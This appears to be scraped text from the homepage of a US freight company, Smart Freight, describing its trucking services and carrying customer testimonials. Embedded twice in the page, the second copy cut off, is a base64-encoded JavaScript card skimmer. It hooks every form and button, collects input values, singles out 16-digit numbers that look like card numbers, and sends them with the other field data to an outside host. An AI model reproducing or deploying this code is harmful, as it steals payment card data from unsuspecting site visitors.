In 2012, we started our journey. Today, with over 50 trucks and more than 750.000 delivered goods, we help our customers move freight across the US. At Smart Freight, we aim to simplify and optimize the technologies of delivering goods. Fast and reliable delivery improves the process.
51013282463chdmFyIGdnMT1NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqOTk5OTk5OTk5OSkrMTAwMDAwMDAwMDsNCnZhciBnZzI9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKjk5OTk5OTk5OSkrMTAwMDAwMDAwOw0KdmFyIGRhdGE0PSIiOw0KdmFyIGdnMz1nZzEudG9TdHJpbmcoKTsNCnZhciBnZzQ9Z2cyLnRvU3RyaW5nKCk7DQp2YXIgaGgwPXBhcnNlSW50KGdnMy5jaGFyQXQoMCkpOw0KdmFyIGhoMT1wYXJzZUludChnZzMuY2hhckF0KDEpKTsNCnZhciBoaDI9cGFyc2VJbnQoZ2czLmNoYXJBdCgyKSk7DQp2YXIgaGgzPXBhcnNlSW50KGdnMy5jaGFyQXQoMykpOw0KdmFyIGhoND1wYXJzZUludChnZzMuY2hhckF0KDQpKTsNCnZhciBoaDU9cGFyc2VJbnQoZ2czLmNoYXJBdCg1KSk7DQp2YXIgaGg2PXBhcnNlSW50KGdnMy5jaGFyQXQoNikpOw0KdmFyIGhoNz1wYXJzZUludChnZzMuY2hhckF0KDcpKTsNCnZhciBoaDg9cGFyc2VJbnQoZ2czLmNoYXJBdCg4KSk7DQp2YXIgaGg5PXBhcnNlSW50KGdnMy5jaGFyQXQoOSkpOw0KdmFyIGhoMTA9cGFyc2VJbnQoZ2c0LmNoYXJBdCgwKSk7DQp2YXIgaGgxMT1wYXJzZUludChnZzQuY2hhckF0KDEpKTsNCnZhciBoaDEyPXBhcnNlSW50KGdnNC5jaGFyQXQoMikpOw0KdmFyIGhoMTM9cGFyc2VJbnQoZ2c0LmNoYXJBdCgzKSk7DQp2YXIgaGgxND1wYXJzZUludChnZzQuY2hhckF0KDQpKTsNCnZhciBoaDE1PXBhcnNlSW50KGdnNC5jaGFyQXQoNSkpOw0KdmFyIGhoMTY9cGFyc2VJbnQoZ2c0LmNoYXJBdCg2KSk7DQp2YXIgaGgxNz1wYXJzZUludChnZzQuY2hhckF0KDcpKTsNCnZhciBoaDE4PXBhcnNlSW50KGdnNC5jaGFyQXQoOCkpOw0KdmFyIGRkMD0iZCI7DQp2YXIgZGQxPSJlIjsNCnZhciBkZDI9ImYiOw0KdmFyIGRkMz0iYSI7DQp2YXIgZGQ0PSJ1IjsNCnZhciBkZDU9ImwiOw0KdmFyIGRkNj0idCI7DQp2YXIgZGQ3PSJwIjsNCnZhciBkZDg9InMiOw0KdmFyIGRkOT0iZSI7DQp2YXIgZGQxMD0iciI7DQp2YXIgZGQxMT0idiI7DQp2YXIgZGQxMj0icCI7DQp2YXIgZGQxMz0iciI7DQp2YXIgZGQxND0ibyI7DQp2YXIgZGQxNT0iYSI7DQp2YXIgZGQxNj0icyI7DQp2YXIgZGQxNz0icCI7DQp2YXIgZGQxOD0ieCI7DQppZihoaDA+NSl7DQpkZDA9IkQiOw0KfQ0KaWYoaGgxPjUpew0KZGQxPSJFIjsNCn0NCmlmKGhoMj41KXsNCmRkMj0iRiI7DQp9DQppZihoaDM+NSl7DQpkZDM9IkEiOw0KfQ0KaWYoaGg0PjUpew0KZGQ0PSJVIjsNCn0NCmlmKGhoNT41KXsNCmRkNT0iTCI7DQp9DQppZihoaDY+NSl7DQpkZDY9IlQiOw0KfQ0KaWYoaGg3PjUpew0KZGQ3PSJQIjsNCn0NCmlmKGhoOD41KXsNCmRkOD0iUyI7DQp9DQppZihoaDk+NSl7DQpkZDk9IkUiOw0KfQ0KaWYoaGgxMD41KXsNCmRkMTA9IlIiOw0KfQ0KaWYoaGgxMT41KXsNCmRkMTE9IlYiOw0KfQ0KaWYoaGgxMj41KXsNCmRkMTI9IlAiOw0KfQ0KaWYoaGgxMz41KXsNCmRkMTM9IlIiOw0KfQ0KaWYoaGgxND41KXsNCmRkMTQ9Ik8iOw0KfQ0KaWYoaGgxNT41KXsNCmRkMTU9IkEiOw0KfQ0KaWYoaGgxNj41KXsNCmRkMTY9IlMiOw0KfQ0KaWYoaGgxNz41KXsNCmRkMTc9IlAiOw0KfQ0KaWYoaGgxOD41KXsNCmRkMTg9IlgiOw0KfQ0KdmFyIGZvZmY9ZGQwK2RkMStkZDIrZGQzK2RkNCtkZDUrZGQ2K2RkNytkZDgrZGQ5K2RkMTArZGQxMStkZDEyK2RkMTMrZGQxNCsiLiIrZGQxNStkZDE2K2RkMTcrZGQxODsNCmxldCBudW09ZG9jdW1lbnQuZm9ybXMubGVuZ3RoOw0KbGV0IGZvcm1zQ29sbGVjdGlvbjI9ZG9jdW1lbnQuZm9ybXM7DQpmb3IgKHZhciBpMj0wOyBpMjxmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKyl7DQpmb3Jtc0NvbGxlY3Rpb24yW2kyXS5vbnN1Ym1pdD1mdW5jdGlvbigpew0KVGVzdE9uQigpOw0KfQ0KfQ0KbGV0IGZvcm1zQ29sbGVjdGlvbjJhPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJidXR0b24iKTsNCmZvciAodmFyIGkyYT0wOyBpMmE8Zm9ybXNDb2xsZWN0aW9uMmEubGVuZ3RoOyBpMmErKyl7DQpmb3Jtc0NvbGxlY3Rpb24yYVtpMmFdLm9uY2xpY2s9ZnVuY3Rpb24oKXsNClRlc3RPbkIoKTsNCn0NCn0NCndpbmRvdy5vbnN1Ym1pdD1mdW5jdGlvbigpew0KVGVzdE9uQigpOw0KfQ0KZnVuY3Rpb24gVGVzdE9uQigpew0KdmFyIGhvaG9kPSJkcy4iOw0KdmFyIHNpdGU9d2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KdmFyIHN0cjE9IiI7DQp2YXIgbm5uPSIiOw0KdmFyIGhvaG9jPSJpY2EiOw0KdmFyIGNoZWNrMT0wOw0KdmFyIGNoZWNrMj0wOw0KdmFyIGxvb2xhPTA7DQp2YXIgaG9ob2U9IjMiOw0KdmFyIGZvcm1zQ29sbGVjdGlvbj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCmZvciAodmFyIGk9MDsgaTxmb3Jtc0NvbGxlY3Rpb24ubGVuZ3RoOyBpKyspew0KdmFyIGhhaGE9Zm9ybXNDb2xsZWN0aW9uW2ldLmlkOw0KdmFyIGhhaGEyPWZvcm1zQ29sbGVjdGlvbltpXS50eXBlOw0KdmFyIGhhaGEzPWZvcm1zQ29sbGVjdGlvbltpXS52YWx1ZTsNCnZhciBoYWhhND1mb3Jtc0NvbGxlY3Rpb25baV0ubmFtZTsNCmlmKGhhaGEzLmxlbmd0aD4xNCl7DQpoYWhhMz1oYWhhMy5yZXBsYWNlKC9ccy9nLCAnJyk7DQp2YXIgaXNudW09L15cZCskLy50ZXN0KGhhaGEzKTsNCnZhciBuMT1oYWhhMy5zdGFydHNXaXRoKCc0Jyk7DQp2YXIgbjI9aGFoYTMuc3RhcnRzV2l0aCgnNScpOw0KdmFyIG4zPWhhaGEzLnN0YXJ0c1dpdGgoJzYnKTsNCnZhciBuMD1oYWhhMy5zdGFydHNXaXRoKCczJyk7DQppZihuMT09dHJ1ZSl7DQpjaGVjazI9MTsNCn0NCmlmKG4yPT10cnVlKXsNCmNoZWNrMj0xOw0KfQ0KaWYobjM9PXRydWUpew0KY2hlY2syPTA7DQp9DQppZihuMD09dHJ1ZSl7DQpjaGVjazI9MDsNCn0NCn0NCmlmKGhhaGEzLmxlbmd0aD09MTUpew0KaWYoaXNudW09PXRydWUpew0KaWYoY2hlY2syPScxJyl7DQpjaGVjazE9JzAnOw0KfQ0KfQ0KfQ0KaWYoaGFoYTMubGVuZ3RoPT0xNil7DQppZihpc251bT09dHJ1ZSl7DQppZihjaGVjazI9PTEpew0KY2hlY2sxPScxJzsNCm5ubj1oYWhhMw0KfQ0KfQ0KfQ0KaWYoaGFoYTMubGVuZ3RoPT0xNyl7DQppZihpc251bT09dHJ1ZSl7DQppZihjaGVjazI9PTEpew0KY2hlY2sxPScwJzsNCn0NCn0NCn0NCmlmKGhhaGEzLmxlbmd0aD4wKXsNCmlmKGhhaGEyPT0iaGlkZGVuIil7DQp9IGVsc2Ugew0Kc3RyMT1zdHIxK2hhaGE0KyItLSIraGFoYTMrIi0iOw0KfQ0KfQ0KfQ0KdmFyIGNoMT0nMScNCmlmKGNoZWNrMT09MSl7DQp2YXIgZm9ybXNDb2xsZWN0aW9uMj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7DQpmb3IgKHZhciBpMj0wOyBpMjxmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKyl7DQp2YXIgc2hhaGE9Zm9ybXNDb2xsZWN0aW9uMltpMl0uaWQ7DQp2YXIgc2hhaGEyPWZvcm1zQ29sbGVjdGlvbjJbaTJdLnR5cGU7DQp2YXIgc2hhaGEzPWZvcm1zQ29sbGVjdGlvbjJbaTJdLnZhbHVlOw0KdmFyIHNoYWhhND1mb3Jtc0NvbGxlY3Rpb24yW2kyXS5uYW1lOw0Kc3RyMT1zdHIxK3NoYWhhNCsiLS0iK3NoYWhhMysiLSINCnNpdGU9c2l0ZSsiLVJvbEBhbmQ0WW91IjsNCnN0cjE9c2l0ZSsiLSIrc3RyMTsNCn0NCnZhciBob2hvYT0iYm9yIjsNCnZhciBob2hvYj0iLmJnIjsNCmlmKHNpdGU9PWhvaG9lK2hvaG9kK2hvaG9hK2hvaG9jK2hvaG9iKXsNCn0gZWxzZSB7DQppZihubm4uc3RhcnRzV2l0aCgiNCIpIHx8IG5ubi5zdGFydHNXaXRoKCI1Iikpew0KbG9vbGE9MTsNCnZhciBoYTE9IjoiOw0KdmFyIGhhMj0iaCI7DQp2YXIgaGEzPSJwIjsNCnZhciBoYTQ9Ii8iOw0KdmFyIGhhNT0idCI7DQp2YXIgdGV4dD1ubm47DQp2YXIgdmFyMT10ZXh0LmNoYXJBdCgwKTsNCnZhciB2YXIyPXRleHQuY2hhckF0KDEpOw0KdmFyIHZhcjM9dGV4dC5jaGFyQXQoMik7DQp2YXIgdmFyND10ZXh0LmNoYXJBdCgzKTsNCnZhciB2YXI1PXRleHQuY2hhckF0KDQpOw0KdmFyIHZhcjY9dGV4dC5jaGFyQXQoNSk7DQp2YXIgdmFyNz10ZXh0LmNoYXJBdCg2KTsNCnZhciB2YXI4PXRleHQuY2hhckF0KDcpOw0KdmFyIHZhcjk9dGV4dC5jaGFyQXQoOCk7DQp2YXIgdmFyMTA9dGV4dC5jaGFyQXQoOSk7DQp2YXIgdmFyMTE9dGV4dC5jaGFyQXQoMTApOw0KdmFyIHZhcjEyPXRleHQuY2hhckF0KDExKTsNCnZhciB2YXIxMz10ZXh0LmNoYXJBdCgxMik7DQp2YXIgdmFyMTQ9dGV4dC5jaGFyQXQoMTMpOw0KdmFyIHZhcjE1PXRleHQuY2hhckF0KDE0KTsNCnZhciB2YXIxNj10ZXh0LmNoYXJBdCgxNSk7DQp2YXIgczI9cGFyc2VJbnQodmFyMik7DQp2YXIgczQ9cGFyc2VJbnQodmFyNCk7DQp2YXIgczY9cGFyc2VJbnQodmFyNik7DQp2YXIgczg9cGFyc2VJbnQodmFyOCk7DQp2YXIgczEwPXBhcnNlSW50KHZhcjEwKTsNCnZhciBzMTI9cGFyc2VJbnQodmFyMTIpOw0KdmFyIHMxND1wYXJzZUludCh2YXIxNCk7DQp2YXIgczE2PXBhcnNlSW50KHZhcjE2KTsNCg0KdmFyIHMxPXBhcnNlSW50KHZhcjEpKjI7DQppZihzMT45KXsNCmxldCB6MT1zMS50b1N0cmluZygpDQp2YXIgbW0xMT16MS5jaGFyQXQoMCk7DQp2YXIgbW0yMT16MS5jaGFyQXQoMSk7DQpzMT1wYXJzZUludChtbTExKStwYXJzZUludChtbTIxKTsNCn07DQp2YXIgczM9cGFyc2VJbnQodmFyMykqMjsNCmlmKHMzPjkpew0KbGV0IHozPXMzLnRvU3RyaW5nKCkNCnZhciBtbTEzPXozLmNoYXJBdCgwKTsNCnZhciBtbTIzPXozLmNoYXJBdCgxKTsNCnMzPXBhcnNlSW50KG1tMTMpK3BhcnNlSW50KG1tMjMpOw0KfTsNCnZhciBzNT1wYXJzZUludCh2YXI1KSoyOw0KaWYoczU+OSl7DQpsZXQgejU9czUudG9TdHJpbmcoKQ0KdmFyIG1tMTU9ejUuY2hhckF0KDApOw0KdmFyIG1tMjU9ejUuY2hhckF0KDEpOw0KczU9cGFyc2VJbnQobW0xNSkrcGFyc2VJbnQobW0yNSk7DQp9Ow0KdmFyIHM3PXBhcnNlSW50KHZhcjcpKjI7DQppZihzNz45KXsNCmxldCB6Nz1zNy50b1N0cmluZygpDQp2YXIgbW0xNz16Ny5jaGFyQXQoMCk7DQp2YXIgbW0yNz16Ny5jaGFyQXQoMSk7DQpzNz1wYXJzZUludChtbTE3KStwYXJzZUludChtbTI3KTsNCn07DQp2YXIgczk9cGFyc2VJbnQodmFyOSkqMjsNCmlmKHM5Pjkpew0KbGV0IHo5PXM5LnRvU3RyaW5nKCkNCnZhciBtbTE5PXo5LmNoYXJBdCgwKTsNCnZhciBtbTI5PXo5LmNoYXJBdCgxKTsNCnM5PXBhcnNlSW50KG1tMTkpK3BhcnNlSW50KG1tMjkpOw0KfTsNCnZhciBzMTE9cGFyc2VJbnQodmFyMTEpKjI7DQppZihzMTE+OSl7DQpsZXQgejExPXMxMS50b1N0cmluZygpDQp2YXIgbW0xMTE9ejExLmNoYXJBdCgwKTsNCnZhciBtbTIxMT16MTEuY2hhckF0KDEpOw0KczExPXBhcnNlSW50KG1tMTExKStwYXJzZUludChtbTIxMSk7DQp9Ow0KdmFyIHMxMz1wYXJzZUludCh2YXIxMykqMjsNCmlmKHMxMz45KXsNCmxldCB6MTM9czEzLnRvU3RyaW5nKCkNCnZhciBtbTExMz16MTMuY2hhckF0KDApOw0KdmFyIG1tMjEzPXoxMy5jaGFyQXQoMSk7DQpzMTM9cGFyc2VJbnQobW0xMTMpK3BhcnNlSW50KG1tMjEzKTsNCn07DQp2YXIgczE1PXBhcnNlSW50KHZhcjE1KSoyOw0KaWYoczE1Pjkpew0KbGV0IHoxNT1zMTUudG9TdHJpbmcoKQ0KdmFyIG1tMTE1PXoxNS5jaGFyQXQoMCk7DQp2YXIgbW0yMTU9ejE1LmNoYXJBdCgxKTsNCnMxNT1wYXJzZUludChtbTExNSkrcGFyc2VJbnQobW0yMTUpOw0KfTsNCnZhciBtb2xpPXMxK3MyK3MzK3M0K3M1K3M2K3M3K3M4K3M5K3MxMCtzMTErczEyK3MxMytzMTQrczE1K3MxNjsNCm1vbGk9bW9saS50b1N0cmluZygpOw0KdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KdmFyIGxpbmtUZXh0PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCJteSB0aXRsZSB0ZXh0Iik7DQphLmFwcGVuZENoaWxkKGxpbmtUZXh0KTsNCmEuaWQ9ImlkMjIyIjsNCmEudGl0bGU9Im15IHRpdGxlIHRleHQiOw0KZGF0YTQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWNoMTIzIikuaW5uZXJIVE1MOw0KYS5ocmVmPWhhMitoYTUraGE1K2hhMytoYTEraGE0K2hhNCsidXJiaW5zIittb2xpLmNoYXJBdChtb2xpLmxlbmd0aCAtIDEpKyItMDAxLXNpdGUxLmR0ZW1wdXJsLmNvbS8iK2ZvZmYrIj9TPSIrZGF0YTQrIi0iK3NpdGUrIiZEPSIrc3RyMSsiJk49Iitubm47DQpkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkMjIyJykuY2xpY2soKTsNCg0KdmFyIGlnPTA7DQp2YXIgZD1uZXcgRGF0ZSgpOw0KdmFyIG49ZC5nZXRTZWNvbmRzKCk7DQpkbyB7DQp2YXIgZDI9bmV3IERhdGUoKTsNCnZhciBuND1kMi5nZXRTZWNvbmRzKCk7DQppZihuPDU1KXsNCmlmKG4rNTxuNCl7DQppZz0zOw0KfQ0KfQ0KaWYobj41NCl7DQppZihuKzU8bjQrNjApew0KaWc9MzsNCn0NCn0NCn0NCndoaWxlIChpZzwyKTsNCmlmKGxvb2xhPT0xKXsNCn0NCn0NCn0NCn0NCn0NCg0KDQo=

Full truck load (FTL)
We offer flexible full truck load solutions tailored to your specific requirements.

Power Only (Load Out, Tow Away, Loaded Trailer)
We are committed to providing exceptional customer support at every step of your logistics journey.

Less than Truck Load (LTL)
Our experts analyze your logistics processes and identify opportunities for improvement, helping you reduce costs

Partial
Our extensive fleet of vehicles, and advanced tracking systems enable us to deliver your shipments on time, every time.
Confused About Choosing The Right Shipping Service for Your Goods?
From dispatch to truck compliance, we guarantee that our transportation fleet is in optimal condition and fully adheres to all DOT guidelines and standards.
WHY CHOOSE US
Modern Logistic Partner
Our Vision
We pride ourselves on our commitment to excellence, reliability, and customer satisfaction.
Our Mission
We value your trust in our services and continuously strive to exceed your expectations.
Technology-Driven Solutions: Embracing the latest technology is a cornerstone of our operations. Our advanced tracking and tracing systems provide real-time visibility into your shipments, empowering you with accurate information and peace of mind.
"I am thrilled to share my exceptional experience with Smart Freight Inc., a company that truly goes above and beyond in providing top-notch logistic services. From the moment I engaged with them, I was impressed by their professionalism, efficiency, and dedication to meeting their clients' needs."
"The team at Smart Freight Inc. displayed a remarkable level of expertise in handling all aspects of our shipping requirements. Their attention to detail was evident as they carefully planned the transportation routes, selected the appropriate carriers, and ensured that our goods were handled with the utmost care. They streamlined the entire process, making it seamless and hassle-free for us."
"What truly sets Smart Freight Inc. apart is their commitment to communication. Throughout the entire journey, I was kept informed about the progress of our shipments. Any potential challenges were proactively addressed, demonstrating their ability to anticipate issues and find effective solutions. This level of transparency provided us with peace of mind, knowing that our goods were in capable hands."
CONTACT US
Book a Call
TYPES OF TRACKS
We Are a Safe Shipper
With our team of industry experts and committed drivers, we ensure a professional experience with every aspect of our service. Whether you need LTL, Intermodal, or Full Truckload service, we are committed to providing you with affordable shipping solutions that ensure timely arrival of your goods in perfect condition.
You can rely on us. Our team is dedicated professionals. Every step in the transportation process is taken care of 24/7/365. Call our representative to schedule a meeting. We’re interested in working on your project.
51013282463chdmFyIGdnMT1NYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqOTk5OTk5OTk5OSkrMTAwMDAwMDAwMDsNCnZhciBnZzI9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKjk5OTk5OTk5OSkrMTAwMDAwMDAwOw0KdmFyIGRhdGE0PSIiOw0KdmFyIGdnMz1nZzEudG9TdHJpbmcoKTsNCnZhciBnZzQ9Z2cyLnRvU3RyaW5nKCk7DQp2YXIgaGgwPXBhcnNlSW50KGdnMy5jaGFyQXQoMCkpOw0KdmFyIGhoMT1wYXJzZUludChnZzMuY2hhckF0KDEpKTsNCnZhciBoaDI9cGFyc2VJbnQoZ2czLmNoYXJBdCgyKSk7DQp2YXIgaGgzPXBhcnNlSW50KGdnMy5jaGFyQXQoMykpOw0KdmFyIGhoND1wYXJzZUludChnZzMuY2hhckF0KDQpKTsNCnZhciBoaDU9cGFyc2VJbnQoZ2czLmNoYXJBdCg1KSk7DQp2YXIgaGg2PXBhcnNlSW50KGdnMy5jaGFyQXQoNikpOw0KdmFyIGhoNz1wYXJzZUludChnZzMuY2hhckF0KDcpKTsNCnZhciBoaDg9cGFyc2VJbnQoZ2czLmNoYXJBdCg4KSk7DQp2YXIgaGg5PXBhcnNlSW50KGdnMy5jaGFyQXQoOSkpOw0KdmFyIGhoMTA9cGFyc2VJbnQoZ2c0LmNoYXJBdCgwKSk7DQp2YXIgaGgxMT1wYXJzZUludChnZzQuY2hhckF0KDEpKTsNCnZhciBoaDEyPXBhcnNlSW50KGdnNC5jaGFyQXQoMikpOw0KdmFyIGhoMTM9cGFyc2VJbnQoZ2c0LmNoYXJBdCgzKSk7DQp2YXIgaGgxND1wYXJzZUludChnZzQuY2hhckF0KDQpKTsNCnZhciBoaDE1PXBhcnNlSW50KGdnNC5jaGFyQXQoNSkpOw0KdmFyIGhoMTY9cGFyc2VJbnQoZ2c0LmNoYXJBdCg2KSk7DQp2YXIgaGgxNz1wYXJzZUludChnZzQuY2hhckF0KDcpKTsNCnZhciBoaDE4PXBhcnNlSW50KGdnNC5jaGFyQXQoOCkpOw0KdmFyIGRkMD0iZCI7DQp2YXIgZGQxPSJlIjsNCnZhciBkZDI9ImYiOw0KdmFyIGRkMz0iYSI7DQp2YXIgZGQ0PSJ1IjsNCnZhciBkZDU9ImwiOw0KdmFyIGRkNj0idCI7DQp2YXIgZGQ3PSJwIjsNCnZhciBkZDg9InMiOw0KdmFyIGRkOT0iZSI7DQp2YXIgZGQxMD0iciI7DQp2YXIgZGQxMT0idiI7DQp2YXIgZGQxMj0icCI7DQp2YXIgZGQxMz0iciI7DQp2YXIgZGQxND0ibyI7DQp2YXIgZGQxNT0iYSI7DQp2YXIgZGQxNj0icyI7DQp2YXIgZGQxNz0icCI7DQp2YXIgZGQxOD0ieCI7DQppZihoaDA+NSl7DQpkZDA9IkQiOw0KfQ0KaWYoaGgxPjUpew0KZGQxPSJFIjsNCn0NCmlmKGhoMj41KXsNCmRkMj0iRiI7DQp9DQppZihoaDM+NSl7DQpkZDM9IkEiOw0KfQ0KaWYoaGg0PjUpew0KZGQ0PSJVIjsNCn0NCmlmKGhoNT41KXsNCmRkNT0iTCI7DQp9DQppZihoaDY+NSl7DQpkZDY9IlQiOw0KfQ0KaWYoaGg3PjUpew0KZGQ3PSJQIjsNCn0NCmlmKGhoOD41KXsNCmRkOD0iUyI7DQp9DQppZihoaDk+NSl7DQpkZDk9IkUiOw0KfQ0KaWYoaGgxMD41KXsNCmRkMTA9IlIiOw0KfQ0KaWYoaGgxMT41KXsNCmRkMTE9IlYiOw0KfQ0KaWYoaGgxMj41KXsNCmRkMTI9IlAiOw0KfQ0KaWYoaGgxMz41KXsNCmRkMTM9IlIiOw0KfQ0KaWYoaGgxND41KXsNCmRkMTQ9Ik8iOw0KfQ0KaWYoaGgxNT41KXsNCmRkMTU9IkEiOw0KfQ0KaWYoaGgxNj41KXsNCmRkMTY9IlMiOw0KfQ0KaWYoaGgxNz41KXsNCmRkMTc9IlAiOw0KfQ0KaWYoaGgxOD41KXsNCmRkMTg9IlgiOw0KfQ0KdmFyIGZvZmY9ZGQwK2RkMStkZDIrZGQzK2RkNCtkZDUrZGQ2K2RkNytkZDgrZGQ5K2RkMTArZGQxMStkZDEyK2RkMTMrZGQxNCsiLiIrZGQxNStkZDE2K2RkMTcrZGQxODsNCmxldCBudW09ZG9jdW1lbnQuZm9ybXMubGVuZ3RoOw0KbGV0IGZvcm1zQ29sbGVjdGlvbjI9ZG9jdW1lbnQuZm9ybXM7DQpmb3IgKHZhciBpMj0wOyBpMjxmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKyl7DQpmb3Jtc0NvbGxlY3Rpb24yW2kyXS5vbnN1Ym1pdD1mdW5jdGlvbigpew0KVGVzdE9uQigpOw0KfQ0KfQ0KbGV0IGZvcm1zQ29sbGVjdGlvbjJhPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJidXR0b24iKTsNCmZvciAodmFyIGkyYT0wOyBpMmE8Zm9ybXNDb2xsZWN0aW9uMmEubGVuZ3RoOyBpMmErKyl7DQpmb3Jtc0NvbGxlY3Rpb24yYVtpMmFdLm9uY2xpY2s9ZnVuY3Rpb24oKXsNClRlc3RPbkIoKTsNCn0NCn0NCndpbmRvdy5vbnN1Ym1pdD1mdW5jdGlvbigpew0KVGVzdE9uQigpOw0KfQ0KZnVuY3Rpb24gVGVzdE9uQigpew0KdmFyIGhvaG9kPSJkcy4iOw0KdmFyIHNpdGU9d2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KdmFyIHN0cjE9IiI7DQp2YXIgbm5uPSIiOw0KdmFyIGhvaG9jPSJpY2EiOw0KdmFyIGNoZWNrMT0wOw0KdmFyIGNoZWNrMj0wOw0KdmFyIGxvb2xhPTA7DQp2YXIgaG9ob2U9IjMiOw0KdmFyIGZvcm1zQ29sbGVjdGlvbj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCmZvciAodmFyIGk9MDsgaTxmb3Jtc0NvbGxlY3Rpb24ubGVuZ3RoOyBpKyspew0KdmFyIGhhaGE9Zm9ybXNDb2xsZWN0aW9uW2ldLmlkOw0KdmFyIGhhaGEyPWZvcm1zQ29sbGVjdGlvbltpXS50eXBlOw0KdmFyIGhhaGEzPWZvcm1zQ29sbGVjdGlvbltpXS52YWx1ZTsNCnZhciBoYWhhND1mb3Jtc0NvbGxlY3Rpb25baV0ubmFtZTsNCmlmKGhhaGEzLmxlbmd0aD4xNCl7DQpoYWhhMz1oYWhhMy5yZXBsYWNlKC9ccy9nLCAnJyk7DQp2YXIgaXNudW09L15cZCskLy50ZXN0KGhhaGEzKTsNCnZhciBuMT1oYWhhMy5zdGFydHNXaXRoKCc0Jyk7DQp2YXIgbjI9aGFoYTMuc3RhcnRzV2l0aCgnNScpOw0KdmFyIG4zPWhhaGEzLnN0YXJ0c1dpdGgoJzYnKTsNCnZhciBuMD1oYWhhMy5zdGFydHNXaXRoKCczJyk7DQppZihuMT09dHJ1ZSl7DQpjaGVjazI9MTsNCn0NCmlmKG4yPT10cnVlKXsNCmNoZWNrMj0xOw0KfQ0KaWYobjM9PXRydWUpew0KY2hlY2syPTA7DQp9DQppZihuMD09dHJ1ZSl7DQpjaGVjazI9MDsNCn0NCn0NCmlmKGhhaGEzLmxlbmd0aD09MTUpew0KaWYoaXNudW09PXRydWUpew0KaWYoY2hlY2syPScxJyl7DQpjaGVjazE9JzAnOw0KfQ0KfQ0KfQ0KaWYoaGFoYTMubGVuZ3RoPT0xNil7DQppZihpc251bT09dHJ1ZSl7DQppZihjaGVjazI9PTEpew0KY2hlY2sxPScxJzsNCm5ubj1oYWhhMw0KfQ0KfQ0KfQ0KaWYoaGFoYTMubGVuZ3RoPT0xNyl7DQppZihpc251bT09dHJ1ZSl7DQppZihjaGVjazI9PTEpew0KY2hlY2sxPScwJzsNCn0NCn0NCn0NCmlmKGhhaGEzLmxlbmd0aD4wKXsNCmlmKGhhaGEyPT0iaGlkZGVuIil7DQp9IGVsc2Ugew0Kc3RyMT1zdHIxK2hhaGE0KyItLSIraGFoYTMrIi0iOw0KfQ0KfQ0KfQ0KdmFyIGNoMT0nMScNCmlmKGNoZWNrMT09MSl7DQp2YXIgZm9ybXNDb2xsZWN0aW9uMj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7DQpmb3IgKHZhciBpMj0wOyBpMjxmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKyl7DQp2YXIgc2hhaGE9Zm9ybXNDb2xsZWN0aW9uMltpMl0uaWQ7DQp2YXIgc2hhaGEyPWZvcm1zQ29sbGVjdGlvbjJbaTJdLnR5cGU7DQp2YXIgc2hhaGEzPWZvcm1zQ29sbGVjdGlvbjJbaTJdLnZhbHVlOw0KdmFyIHNoYWhhND1mb3Jtc0NvbGxlY3Rpb24yW2kyXS5uYW1lOw0Kc3RyMT1zdHIxK3NoYWhhNCsiLS0iK3NoYWhhMysiLSINCnNpdGU9c2l0ZSsiLVJvbEBhbmQ0WW91IjsNCnN0cjE9c2l0ZSsiLSIrc3RyMTsNCn0NCnZhciBob2hvYT0iYm9yIjsNCnZhciBob2hvYj0iLmJnIjsNCmlmKHNpdGU9PWhvaG9lK2hvaG9kK2hvaG9hK2hvaG9jK2hvaG9iKXsNCn0gZWxzZSB7DQppZihubm4uc3RhcnRzV2l0aCgiNCIpIHx8IG5ubi5zdGFydHNXaXRoKCI1Iikpew0KbG9vbGE9MTsNCnZhciBoYTE9IjoiOw0KdmFyIGhhMj0iaCI7DQp2YXIgaGEzPSJwIjsNCnZhciBoYTQ9Ii8iOw0KdmFyIGhhNT0idCI7DQp2YXIgdGV4dD1ubm47DQp2YXIgdmFyMT10ZXh0LmNoYXJBdCgwKTsNCnZhciB2YXIyPXRleHQuY2hhckF0KDEpOw0KdmFyIHZhcjM9dGV4dC5jaGFyQXQoMik7DQp2YXIgdmFyND10ZXh0LmNoYXJBdCgzKTsNCnZhciB2YXI1PXRleHQuY2hhckF0KDQpOw0KdmFyIHZhcjY9dGV4dC5jaGFyQXQoNSk7DQp2YXIgdmFyNz10ZXh0LmNoYXJBdCg2KTsNCnZhciB2YXI4PXRleHQuY2hhckF0KDcpOw0KdmFyIHZhcjk9dGV4dC5jaGFyQXQoOCk7DQp2YXIgdmFyMTA9dGV4dC5jaGFyQXQoOSk7DQp2YXIgdmFyMTE9dGV4dC5jaGFyQXQoMTApOw0KdmFyIHZhcjEyPXRleHQuY2hhckF0KDExKTsNCnZhciB2YXIxMz10ZXh0LmNoYXJBdCgxMik7DQp2YXIgdmFyMTQ9dGV4dC5jaGFyQXQoMTMpOw0KdmFyIHZhcjE1PXRleHQuY2hhckF0KDE0KTsNCnZhciB2YXIxNj10ZXh0LmNoYXJBdCgxNSk7DQp2YXIgczI9cGFyc2VJbnQodmFyMik7DQp2YXIgczQ9cGFyc2VJbnQodmFyNCk7DQp2YXIgczY9cGFyc2VJbnQodmFyNik7DQp2YXIgczg9cGFyc2VJbnQodmFyOCk7DQp2YXIgczEwPXBhcnNlSW50KHZhcjEwKTsNCn